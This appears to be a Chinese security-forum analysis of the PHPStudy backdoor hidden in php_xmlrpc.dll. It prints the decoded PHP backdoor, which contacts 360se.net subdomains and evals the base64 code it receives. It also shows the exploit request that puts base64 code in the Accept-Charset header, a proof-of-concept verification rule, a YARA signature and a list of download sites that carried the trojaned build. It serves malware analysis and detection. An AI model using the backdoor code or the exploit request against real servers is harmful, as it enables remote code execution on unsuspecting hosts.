其他
PHPStudy后门事件分析
php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dllPHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dllphp_xmlrpc.dll
定位特征字符串位置
静态分析传参数据
GET /index.php HTTP/1.1Host: 192.168.221.128…..Accept-Encoding: gzip,deflateAccept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=….GET /index.php HTTP/1.1Host: 192.168.221.128…..Accept-Encoding:compress,gzip….@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result;} $ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); }}while($n);@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp);}动态调试构造传参内容
PHP脚本后门分析
@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp);}内置有域名表和端口表，批量遍历然后发送数据。注释如下：
GET /index.php HTTP/1.1Host: 192.168.221.128Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding:gzip,deflateAccept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=Content-Length: 0Accept-Language: zh-CN,zh;q=0.9Connection: close回显特征：310dcbbf4cce62f762a2aaa148d556bd
漏洞验证插件
name: poc-yaml-phpstudy-backdoor-rcerules: - method: GET path: /index.php headers: Accept-Encoding: 'gzip,deflate' Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw== follow_redirects: false expression: | body.bcontains(b'a5952fb670b54572bcec7440a554633e')detail: author: 17bdw Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4" vuln_url: "php_xmlrpc.dll" links: - https://www.freebuf.com/column/214946.html网络特征
Accept-Encoding:gzip,deflate 少一个空格Accept-Charset:为Base64编码特征一、%s;@eval(%s('%s')); 25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 2729 29 3B特征二、@eval(%s('%s')); 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B rule PhpStudybackdoor{meta:filetype=" PhpStudybackdoor "description=" PhpStudybackdoor check"strings:$a1 = "@eval(%s('%s'));"$a2 =”%s;@eval(%s('%s'));”condition:any of ($a*)}受影响站点
http://soft.onlinedown.net/soft/92421.htmhttp://www.opdown.com/soft/16803.html#downloadhttps://www.cr173.com/soft/433065.htmlhttp://www.smzy.com/smzy/down319529.htmlhttps://www.jb51.net/softs/601577.htmlhttp://www.mycodes.net/16/5051.htmhttp://www.3322.cc/soft/40663.htmlhttp://www.3h3.com/soft/131645.htmlhttp://www.downyi.com/downinfo/117446.htmlhttp://www.pc9.com/pc/info-4030.htmlhttps://www.newasp.net/soft/75029.htmlhttp://www.downxia.com/downinfo/153379.htmlhttps://www.33lc.com/soft/21053.htmlhttp://www.xfdown.com/soft/11170.html#xzdzhttp://www.wei2008.com/news/news/201817035.htmlhttp://www.188soft.com/soft/890860.htmlhttp://soft.onlinedown.net/soft/92421.htmhttp://www.opdown.com/soft/16803.html#downloadhttps://www.cr173.com/soft/433065.htmlhttps://www.freebuf.com/column/214946.html
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw
https://www.cnblogs.com/0daybug/p/11571119.html
看雪ID：lipss
https://bbs.pediy.com/user-214974.htm
推荐文章++++
* 实战栈溢出漏洞